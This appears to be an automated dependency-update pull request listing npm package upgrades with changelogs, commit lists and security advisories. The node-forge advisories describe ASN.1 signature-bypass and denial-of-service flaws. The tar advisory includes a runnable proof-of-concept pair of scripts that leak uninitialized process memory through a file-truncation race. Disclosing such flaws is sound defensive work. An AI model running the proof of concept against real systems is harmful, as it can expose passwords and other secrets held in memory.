chore: release v0.30.21chore: update repository urlchore: release v0.30.20chore: update depsci: setup OIDCchore: create release.ymlchore: update readme (#305)chore: release v0.30.19chore: update depsfix: this.outro need to be mapped (#300)feat: `replace(All)` support replacement for functions when the first parameter is a string (#304)chore: release v0.30.18chore: update package.json metachore: update depsfix: prevent infinite loop on empty input (#302)chore: update eslint config
↗️ magicast (indirect, 0.3.5 → 0.5.1) · Repo · Changelog
Release Notes
0.5.1
🐞 Bug Fixes
View changes on GitHub
0.5.0
🚨 Breaking Changes
🐞 Bug Fixes
View changes on GitHub
0.4.0
🚀 Enhancements
⚠️ Add introspection and improve proxy behavior (#136)🏡 Chore
⚠️ Breaking Changes
⚠️ Add introspection and improve proxy behavior (#136)❤️ Contributors
- Joaquín Sánchez (@userquin)
- Anthony Fu github@antfu.me
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
chore: release v0.5.1fix: remove necessary dts file, close #141chore: release v0.5.0chore: formatchore: fix lockschore: remove docs about CJSchore: taze configfix(exports, object): Preserve async keyword for generated functions (#138)ci: release on CI with OIDCchore: bump ci node versionchore: manually patch vendorchore: update depschore: commit vendor infeat!: move to ESM only, use tsdownchore: update depschore(release): v0.4.0feat!: add introspection and improve proxy behavior (#136)chore: formatchore(release): v0.3.5
↗️ mime (indirect, 4.0.7 → 4.1.0) · Repo · Changelog
Release Notes
4.1.0
4.1.0 (2025-09-12)
Features
Bug Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ mime-types (indirect, 3.0.1 → 3.0.2) · Repo · Changelog
Release Notes
3.0.2
What's Changed
- fix: use
ubuntu-latestas ci runner by @UlisesGascon in #143- [StepSecurity] Apply security best practices by @step-security-bot in #141
- fix: mime-score logic for mp4 types by @broofa in #140
- 🧪 add engines test by @ctcpip in #136
- chore: add funding to package.json by @Phillip9587 in #158
- build(deps): bump github/codeql-action from 3.27.9 to 3.30.0 by @dependabot[bot] in #163
- build(deps): bump actions/checkout from 4 to 5 by @dependabot[bot] in #164
- build(deps): bump actions/setup-node from 4 to 5 by @dependabot[bot] in #166
- build(deps): bump github/codeql-action from 3.30.0 to 3.30.5 by @dependabot[bot] in #168
- build(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.3 by @dependabot[bot] in #167
- build(deps-dev): bump eslint-plugin-promise from 6.1.1 to 6.6.0 by @dependabot[bot] in #150
- build(deps): bump coverallsapp/github-action from 1.2.5 to 2.3.6 by @dependabot[bot] in #144
- build(deps-dev): bump eslint-plugin-markdown from 3.0.0 to 3.0.1 by @dependabot[bot] in #148
- build(deps-dev): bump mocha from 10.2.0 to 10.8.2 by @dependabot[bot] in #149
- build(deps): bump actions/upload-artifact from 4.5.0 to 4.6.2 by @dependabot[bot] in #147
- fix: update JSDoc to convey only false return by @kellyselden in #152
- build(deps-dev): bump eslint-plugin-import from 2.27.5 to 2.32.0 by @dependabot[bot] in #155
- Release: 3.0.2 by @UlisesGascon in #169
New Contributors
- @step-security-bot made their first contribution in #141
- @ctcpip made their first contribution in #136
- @Phillip9587 made their first contribution in #158
- @dependabot[bot] made their first contribution in #163
- @kellyselden made their first contribution in #152
Full Changelog: v3.0.1...v3.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
3.0.2 (#169)build(deps-dev): bump eslint-plugin-import from 2.27.5 to 2.32.0 (#155)fix: update JSDoc to convey only false return (#152)build(deps): bump actions/upload-artifact from 4.5.0 to 4.6.2 (#147)build(deps-dev): bump mocha from 10.2.0 to 10.8.2 (#149)build(deps-dev): bump eslint-plugin-markdown from 3.0.0 to 3.0.1 (#148)build(deps): bump coverallsapp/github-action from 1.2.5 to 2.3.6 (#144)build(deps-dev): bump eslint-plugin-promise from 6.1.1 to 6.6.0 (#150)build(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.3 (#167)build(deps): bump github/codeql-action from 3.30.0 to 3.30.5 (#168)build(deps): bump actions/setup-node from 4 to 5 (#166)build(deps): bump actions/checkout from 4 to 5 (#164)build(deps): bump github/codeql-action from 3.27.9 to 3.30.0 (#163)chore: add funding to package.json (#158)⬆️ set minimum node engine to 18🧪 add engines testfix: mime-score logic for mp4 types (#140)ci: apply security best practices (#141)fix: use `ubuntu-latest` as ci runner (#143)
↗️ minizlib (indirect, 3.0.2 → 3.1.0) · Repo
Commits
See the full diff on Github. The new version differs by 3 commits:
↗️ mlly (indirect, 1.7.4 → 1.8.0) · Repo · Changelog
Release Notes
1.8.0
🚀 Enhancements
- findExports: Support export default class in declaration exports (#320)
🔥 Performance
- Improve regexp performance with non-capturing groups (#314)
🩹 Fixes
- findExports: Exclude parameter names from function declaration export names (#319)
❤️ Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
chore(release): v1.8.0feat: support export default class in declaration exports (#320)perf: improve regexp performance with non-capturing groups (#314)fix(findExports): exclude parameter names from function declaration export names (#319)chore: update lockfilechore(deps): update actions/checkout action to v5 (#317)chore(deps): update actions/checkout digest to 08eba0b (#318)chore(deps): update all non-major dependencies (#316)chore(deps): update all non-major dependencies (#315)chore(deps): update all non-major dependencies (#312)chore(deps): update autofix-ci/action digest to 635ffb0 (#313)chore: update cichore: update depschore(deps): update all non-major dependencies (#302)chore(deps): update all non-major dependencies (#299)chore(deps): update autofix-ci/action digest to 551dded (#298)
↗️ node-forge (indirect, 1.3.1 → 1.3.3) · Repo · Changelog
Security Advisories 🚨
🚨 node-forge has an Interpretation Conflict vulnerability via its ASN.1 Validator Desynchronization
Summary
CVE-2025-12816 has been reserved by CERT/CC
Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.Details
A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within
forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).
Impact
This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.
This vulnerability impacts the
ans1.validatefunction innode-forgebefore patched version1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.The following components in
node-forgeare impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.jsAny downstream application using these components is impacted.
These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.
🚨 node-forge is vulnerable to ASN.1 OID Integer Truncation
Summary
MITRE-Formatted CVE Description
An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.Description
An ASN.1 OID Integer Truncation vulnerability exists in the node-forge
asn1.derToOidfunction withinforge/lib/asn1.js. OID components are decoded using JavaScript's bitwise left-shift operator (<<), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding$2^{31}-1$ , the value silently overflows and wraps around rather than throwing an error.Impact
This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls.
This vulnerability impacts the
asn1.derToOidfunction innode-forgebefore patched version1.3.2.Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.
🚨 node-forge has ASN.1 Unbounded Recursion
Summary
An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.
Details
An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge
asn1.fromDerfunction withinforge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throwRangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.Impact
This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.
This vulnerability impacts the ans1.fromDer function in
node-forgebefore patched version1.3.2.Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.
Release Notes
1.3.3 (from changelog)
Fixed
- [pkcs12] Make digestAlgorithm parameters optional to fix PKCS#12/PFX issues introduced in 1.3.2.
1.3.2 (from changelog)
Security
- HIGH: ASN.1 Validator Desynchronization
- An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.
- Reported by Hunter Wodzenski.
- CVE ID: CVE-2025-12816
- GHSA ID: GHSA-5gfm-wpxj-wjgq
- HIGH: ASN.1 Unbounded Recursion
- An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.
- Reported by Hunter Wodzenski.
- CVE ID: CVE-2025-66031
- GHSA ID: GHSA-554w-wpv2-vw27
- MODERATE: ASN.1 OID Integer Truncation
- An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.
- Reported by Hunter Wodzenski.
- CVE ID: CVE-2025-66030
- GHSA ID: GHSA-65ch-62r8-g69g
Fixed
- [asn1] Fix for vulnerability identified by CVE-2025-12816 PKCS#12 MAC verification bypass due to missing macData enforcement and improper asn1.validate routine.
- [asn1] Add
fromDer()max recursion depth check.
- Add a
asn1.maxDepthglobal configurable maximum depth of 256.- Add a
asn1.fromDer()per-callmaxDepthoption.- NOTE: The default maximum is assumed to be higher than needed for valid data. If this assumption is false then this could be a breaking change. Please file an issue if there are use cases that need a higher maximum.
- NOTE: The per-call
maxDepthparameter has not been exposed up through all of the API stack due to the complexities involved. Please file an issue if there are use cases that require this instead of changing the default maximum.- [asn1] Improve OID handling.
- Error on parsed OID values larger than
2**32 - 1.- Error on DER OID values larger than
2**53 - 1.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 38 commits:
Release 1.3.3.Update changelog.Fix changelog for release.Update changelog.Make digestAlgorithm parameters optionalUpdate CVE details.Start 1.3.3-0.Release 1.3.2.Update changelog.Fix typos.Run new security test.Update changelog formatting.Cleanups.Fix typo.Fix style.Align error message style.Revert minor changes.Test for exact error messages.Fix style.Run tests/security/ tests as part of unit tests.Fixes for release.Update to CHANGELOG and version informationAdded security testsFix for vulnerbaility CVE-2025-12816Add change of default maxDepth test.Update test style.Add jsdoc for maxDepth.Update changelog.Update regression test depthRegression test for GHSA-554w-wpv2-vw27 patchAdd ASN.1 recursion depth limitFix "ASN.1 OID Integer Truncation" advisory.Fix typosTest on Node.js 24.x.Fix Node.js versions used during testing.Test on Node.js 20.x and 22.x.Test on Node.js 16.x and 18.x.Start 1.3.2-0.
↗️ node-releases (indirect, 2.0.19 → 2.0.27) · Repo
Commits
See the full diff on Github. The new version differs by 42 commits:
2.0.27feat: Nightly Sync2.0.26feat: Nightly Sync2.0.25feat: Nightly Sync2.0.24feat: Nightly Sync2.0.23feat: Nightly Sync2.0.22feat: Nightly Sync2.0.21feat: Nightly SyncMerge pull request #38 from ItamarGronich/fix-push-command2.0.20base for changes is the current HEAD. So any unpushed commits and also staged or unstaged files are picked up.conditionally run versioning and publishing stepsBetter name for this step.No need for this, this is handled in the next stepThis might solve the publish bug in github actions.feat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Syncfeat: Nightly Sync
↗️ ofetch (indirect, 1.4.1 → 1.5.1) · Repo · Changelog
Release Notes
1.5.1
🩹 Fixes
- Normalize
options.headers(again) afteronRequesthook (#524)❤️ Contributors
- Kricsleo (@kricsleo)
1.5.0
🚀 Enhancements
- Serialize with
URLSearchParamsforapplication/x-www-form-urlencodedcontent type header (#482)- Auto detect
text/event-streamasstreamresponse type (#486)🩹 Fixes
- Mark
FormData&URLSearchParamsas non-serializable for bun compatibility (#483)💅 Refactors
- Deprecate
paramsin favor ofquery(#511)📖 Documentation
- readme: Use
ProxyAgentin example (#465)- Fix typo (#472)
- Add
retryStatusCodesoption to auto retry example (#480)- Guide on augmenting
FetchOptions(#487)- Replace ProxyAgent with Agent in self-signed certs example (#516)
❤️ Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
chore(deps): update all non-major dependencies (#509)chore(release): v2.0.0-alpha.3build: fix exports fieldchore(release): v2.0.0-alpha.2build: add `main` fieldchore(release): v2.0.0-alpha.1chore: fix versionchore: simplify readmerefactor!: use native `JSON.parse` (#520)refactor!: inline url utils (#440)feat!: support custom `AbortSignal` with `timeout` (#508)Merge branch 'main' of github.com:unjs/ofetchbuild!: ESM-only dist (#519)chore: update playgroundrefactor!: remove dependency on node-fetch-native (#518)refactor: more strict typeschore(deps): update actions/setup-node action to v6 (#514)chore: prepare for v2 alphatest: upgrade to h3 v2chore: update cichore: update depsdocs: replace ProxyAgent with Agent in self-signed certs example (#516)docs: guide on augmenting `FetchOptions` (#487)feat: auto detect `text/event-stream` as `stream` response type (#486)feat: serialize with `URLSearchParams` for `application/x-www-form-urlencoded` content type header (#482)chore: fix test coveragerefactor: deprecate `params` in favor of `query` (#511)fix: mark `FormData` & `URLSearchParams` as non-serializable for bun compatibility (#483)chore: update docs (#501)chore: update cichore: update depschore(deps): update all non-major dependencies (#502)chore(deps): update autofix-ci/action digest to 635ffb0 (#504)docs: add `retryStatusCodes` option to auto retry example (#480)chore(deps): update all non-major dependencies (#473)docs: fix typo (#472)chore(deps): update devdependency @types/node to ^22.13.0 (#471)chore(deps): update all non-major dependencies (#469)chore: fix typos (#452)chore(deps): update codecov/codecov-action action to v5 (#458)chore: fix lint issuechore: update depschore(deps): update autofix-ci/action digest to 551dded (#467)docs(readme): use `ProxyAgent` in example (#465)chore(deps): update all non-major dependencies (#457)chore(deps): update all non-major dependencies (#455)
↗️ open (indirect, 10.1.2 → 10.2.0) · Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ oxc-parser (indirect, 0.76.0 → 0.102.0) · Repo · Changelog
↗️ pkg-types (indirect, 2.2.0 → 2.3.0) · Repo · Changelog
Release Notes
2.3.0
🚀 Enhancements
- packagejson: Object format support for
workspacesfield (#236)- Add
deno.lockto known lockfiles (#244)- Support
package.json5andpackage.yaml(#234)updatePackage,sortPackageandnormalizePackageutils (#240)🏡 Chore
- Fix typo in jsdocs (#237)
❤️ Contributors
- James Garbutt (@43081j)
- Eugene (@outslept)
- Pooya Parsa (@pi0)
- Igal Klebanov (@igalklebanov)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 10 commits:
chore(release): v2.3.0feat: `updatePackage`, `sortPackage` and `normalizePackage` utils (#240)feat: support `package.json5` and `package.yaml` (#234)chore: update lockfilechore: fix typo in jsdocs (#237)chore(deps): update actions/checkout action to v5 (#241)chore(deps): update all non-major dependencies (#242)feat: add `deno.lock` to known lockfiles (#244)feat(packagejson): object format support for `workspaces` field (#236)chore(deps): update all non-major dependencies (#239)
↗️ postcss-discard-comments (indirect, 7.0.4 → 7.0.5) · Repo · Changelog
Release Notes
7.0.5 (from changelog)
Patch Changes
- f31273c: add the cache for parser & fix the unexpected comment
Does any of this look wrong? Please let us know.
↗️ postcss-merge-rules (indirect, 7.0.6 → 7.0.7) · Repo · Changelog
↗️ postcss-selector-parser (indirect, 7.1.0 → 7.1.1) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 6 commits:
↗️ pretty-bytes (indirect, 6.1.1 → 7.1.0) · Repo
Release Notes
7.1.0
- Add
fixedWidthoption for right-aligned output 73df489- Add
nonBreakingSpaceoption b637640- Fix truncation behavior with fraction digits options b64cee5
7.0.1
7.0.0
Breaking
- Require Node.js 20 13d3727
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
↗️ rollup (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ rollup-plugin-visualizer (indirect, 6.0.3 → 6.0.5) · Repo · Changelog
Release Notes
6.0.5 (from changelog)
- Bump version to test new deployment because of NPM update
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 4 commits:
↗️ sax (indirect, 1.4.1 → 1.4.3) · Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ semver (indirect, 7.7.2 → 7.7.3) · Repo · Changelog
Release Notes
7.7.3
7.7.3 (2025-10-06)
Bug Fixes
e37e0ca#813 faster paths for compare (#813) (@H4ad)2471d75#811 x-range build metadata support (i529015)Chores
8f05c87#807 bump @npmcli/template-oss from 4.25.0 to 4.25.1 (#807) (@dependabot[bot], @owlstronaut)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 6 commits:
↗️ send (indirect, 1.2.0 → 1.2.1) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 22 commits:
1.2.1 (#281)chore: update depenency ranges to latest versions (#286)ci: add Node.js 25 to test matrix (#284)chore: remove HISTORY.md from tarball (#285)build(deps): bump github/codeql-action from 4.31.2 to 4.31.5 (#282)build(deps): bump actions/checkout from 5 to 6 (#283)build(deps-dev): bump supertest from 6.2.2 to 6.3.4 (#260)build(deps-dev): bump eslint-plugin-import from 2.25.4 to 2.32.0 (#262)build(deps): bump ossf/scorecard-action from 2.4.2 to 2.4.3 (#272)build(deps): bump actions/setup-node from 4 to 6 (#275)build(deps): bump actions/upload-artifact from 4 to 5 (#276)build(deps): bump actions/download-artifact from 5 to 6 (#277)build(deps): bump github/codeql-action from 3.29.11 to 4.31.2 (#278)build(deps): bump actions/checkout from 4 to 5 (#267)build(deps): bump github/codeql-action from 3.29.7 to 3.29.11 (#268)build(deps): bump actions/download-artifact from 4 to 5 (#269)build(deps): bump ossf/scorecard-action from 2.3.1 to 2.4.2 (#257)build(deps): bump github/codeql-action from 2.23.2 to 3.29.5 (#266)chore: add funding to package.json (#265)ci: apply security best practices (#256)ci: add node.js 24 to test matrix (#255)ci: add CodeQl (SAST) (#250)
↗️ serve-static (indirect, 2.2.0 → 2.2.1) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 23 commits:
2.2.1 (#228)feat: remove `HISTORY.md` from tarball content (#230)build(deps): bump coverallsapp/github-action from 2.3.6 to 2.3.7 (#231)build(deps): bump ossf/scorecard-action from 2.4.2 to 2.4.3 (#232)build(deps): bump actions/checkout from 5.0.0 to 6.0.0 (#233)build(deps): bump github/codeql-action from 4.31.2 to 4.31.6 (#234)docs: update examples to ES6 (#203)build(deps-dev): bump eslint-plugin-import from 2.25.4 to 2.32.0 (#215)build(deps): bump actions/checkout from 4.2.2 to 5.0.0 (#218)build(deps): bump actions/setup-node from 4.4.0 to 6.0.0 (#223)build(deps): bump github/codeql-action from 3.28.18 to 4.31.2 (#224)build(deps): bump actions/download-artifact from 4.3.0 to 6.0.0 (#225)build(deps): bump actions/upload-artifact from 4.6.2 to 5.0.0 (#226)chore: add funding to package.json (#216)build(deps): bump github/codeql-action from 3.28.16 to 3.28.18 (#213)build(deps): bump ossf/scorecard-action from 2.4.1 to 2.4.2 (#212)ci: add node.js 24 to test matrix (#211)build(deps): bump actions/download-artifact from 4.2.1 to 4.3.0 (#210)build(deps): bump github/codeql-action from 3.28.15 to 3.28.16 (#209)build(deps): bump github/codeql-action from 3.28.13 to 3.28.15 (#205)build(deps): bump actions/setup-node from 4.3.0 to 4.4.0 (#204)ci: use full SHAs for github action versions (#201)ci: add dependabot (#202)
↗️ simple-git (indirect, 3.28.0 → 3.30.0) · Repo · Changelog
↗️ sirv (indirect, 3.0.1 → 3.0.2) · Repo
Commits
See the full diff on Github. The new version differs by 2 commits:
↗️ source-map (indirect, 0.7.4 → 0.7.6) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ statuses (indirect, 2.0.1 → 2.0.2) · Repo · Changelog
Release Notes
2.0.2
What's Changed
- Ci/add missing node versions by @carpasse in #32
- chore: add support for OSSF scorecard reporting by @inigomarquinez in #24
- chore: pin dependencies and specify permissions in the pipeline by @inigomarquinez in #25
- docs: add openssf badge in readme file by @inigomarquinez in #29
- chore: add codeql pipeline by @inigomarquinez in #26
- chore: add dependency review tool by @inigomarquinez in #27
- chore: add dependabot by @inigomarquinez in #28
- fix: use
ubuntu-latestas ci runner by @UlisesGascon in #33- Replace deprecated String.prototype.substr() by @CommanderRoot in #23
- ci: modernize pipelines by @UlisesGascon in #34
- fix: typo in pipeline by @UlisesGascon in #39
- build(deps-dev): bump raw-body from 2.4.1 to 2.5.2 by @dependabot in #35
- build(deps-dev): bump eslint-plugin-promise from 4.2.1 to 4.3.1 by @dependabot in #36
- build(deps-dev): bump csv-parse from 4.15.1 to 4.16.3 by @dependabot in #37
- build(deps-dev): bump eslint-plugin-import from 2.23.2 to 2.31.0 by @dependabot in #38
- Release: 2.0.2 by @UlisesGascon in #40
New Contributors
- @carpasse made their first contribution in #32
- @inigomarquinez made their first contribution in #24
- @UlisesGascon made their first contribution in #33
- @CommanderRoot made their first contribution in #23
- @dependabot made their first contribution in #35
Full Changelog: v2.0.1...v2.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
2.0.2 (#40)build(deps-dev): bump eslint-plugin-import from 2.23.2 to 2.31.0 (#38)build(deps-dev): bump csv-parse from 4.15.1 to 4.16.3 (#37)build(deps-dev): bump eslint-plugin-promise from 4.2.1 to 4.3.1 (#36)build(deps-dev): bump raw-body from 2.4.1 to 2.5.2 (#35)fix: typo in pipeline (#39)ci: modernize pipelines (#34)chore: migrate to `String.prototype.slice()` (#23)fix: use `ubuntu-latest` as ci runner (#33)ci: add dependabot (#28)chore: add dependency review tool (#27)chore: add codeql pipeline (#26)docs: add openssf badge in readme file (#29)ci: pin dependencies and specify permissions in the pipeline (#25)ci: add support for OSSF scorecard reporting (#24)chore: update Node.js version in CI and pin dependencies (#32)build: support Node.js 16.xbuild: mocha@8.4.0build: eslint-plugin-import@2.23.2build: fix issues with GitHub Actions scriptbuild: eslint@7.19.0build: csv-parse@4.15.1
↗️ std-env (indirect, 3.9.0 → 3.10.0) · Repo · Changelog
Release Notes
3.10.0
🚀 Enhancements
💅 Refactors
📦 Build
- Add
type: "module"to package.json (cb104d3)❤️ Contributors
- Álvaro (@ilbambino)
- Pooya Parsa (@pi0)
- @onmax
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 12 commits:
chore(release): v3.10.0feat: detect google cloud run / job (#161)feat: detect `DENO_DEPLOY` for deno deploy EA (#167)refactor: improve jsdocs (#166)chore(deps): update actions/checkout action to v5 (#163)chore(deps): update actions/setup-node action to v6 (#165)chore: remove jiti dependencyrefactor: stricter type checksbuild: add `type: "module"` to package.jsonchore: lintchore: update dependencieschore(deps): update autofix-ci/action digest to 635ffb0 (#159)
↗️ streamx (indirect, 2.22.1 → 2.23.0) · Repo
Commits
See the full diff on Github. The new version differs by 3 commits:
↗️ strip-ansi (indirect, 7.1.0 → 7.1.2) · Repo
Release Notes
7.1.2
- Fix vulnerability in 7.1.1, see: chalk/chalk#656
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 3 commits:
↗️ strip-literal (indirect, 3.0.0 → 3.1.0) · Repo
Release Notes
3.1.0
🏎 Performance
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 5 commits:
↗️ superjson (indirect, 2.2.2 → 2.2.6) · Repo
Release Notes
2.2.5
What's Changed
Full Changelog: v2.2.3...v2.2.5
2.2.3
What's Changed
- fix: upgrade to copy-anything 4 by @jacquesg in #317
- fix: input escape mapping by @Skn0tt in #311
- fix: support cjs by @acheronfail in #301
- export SuperJSONValue by @flybayer in #322
- feat: add in-place deserialize by @Skn0tt in #320
- Add support for Error.prototype.cause by @shortercode in #296
- v2.2.3 by @Skn0tt in #329
New Contributors
- @jacquesg made their first contribution in #317
- @acheronfail made their first contribution in #301
- @shortercode made their first contribution in #296
Full Changelog: v2.2.2...v2.2.3
Does any of this look wrong? Please let us know.
Sorry, we couldn’t find anything useful about this release.
↗️ supports-color (indirect, 10.0.0 → 10.2.2) · Repo
Release Notes
10.2.2
- Fix vulnerability in 10.2.1, see: chalk/chalk#656
10.2.0
10.1.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 5 commits:
↗️ tar (indirect, 7.4.3 → 7.5.2) · Repo · Changelog
Security Advisories 🚨
🚨 node-tar has a race condition leading to uninitialized memory exposure
Summary
Using
.t(aka.list) with{ sync: true }to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.Details
See:
PoC
A:
import * as tar from 'tar' import fs from 'node:fs' fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024)) // from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], ) const a = fs.readFileSync('tar.test.tmp.tar') for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) }B (vulnerable):
import * as tar from 'tar' import * as fs from 'fs' while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b => { const a = b.filter(x => x) if (a.length > 0) console.log(a.toString()) }) }) }Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps
Bmemory (wait for some time to observe text data)Impact
Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.
To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via
stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error instrict: truemode, or by default, skipping the entry harmlessly).This is conditional on using the
sync: trueoption to thetar.list/tar.tmethod, and the7.5.1version specifically. Earlier versions were not affected.This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).
If the tar file is initially larger than the
opt.maxReadSize(16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.By default,
tar.listdoes not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in anonReadEntrymethod which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).Other methods in this library (
tar.extract, etc.) are not affected by this vulnerability.
Commits
See the full diff on Github. The new version differs by 29 commits:
7.5.2Fix sync tar.list when file size reduces while readingformattingadd types for make-tar utilremove unused taprc fileheader: only read from ustar block if not specified in PaxBlueOak-1.0.0Verify invulnerability to tarmageddon attack7.5.1fix: consistent TOCTOU behavior in sync t.list7.5.0changelog 7.5feat: add initial zstd supportci: don't bother testing on node 18update workflows, tshy configs7.4.4Fix some typosdocs(changelog): add missing v7 breaking changedocs: clean up duplicate onwarn optionsupdate all depsminizlib@3.1.0doc: fix lowlevel tar.Parser typoremove yallist from parse, but NOT from packUse built-in mkdir instead of mkdirpformat readmelimit normalize-unicode cache sizeremove dirCache from mkdir, unpackremove extraneous 'for example'docs on how to use onWriteEntry
↗️ terser (indirect, 5.43.1 → 5.44.1) · Repo · Changelog
Release Notes
5.44.1 (from changelog)
- fix bitwise optimization changing the result of
&&,||- switches: make sure
varis extracted from a deleted default case
5.44.0 (from changelog)
- Support
usingandawait usingdeclarations (#1635)
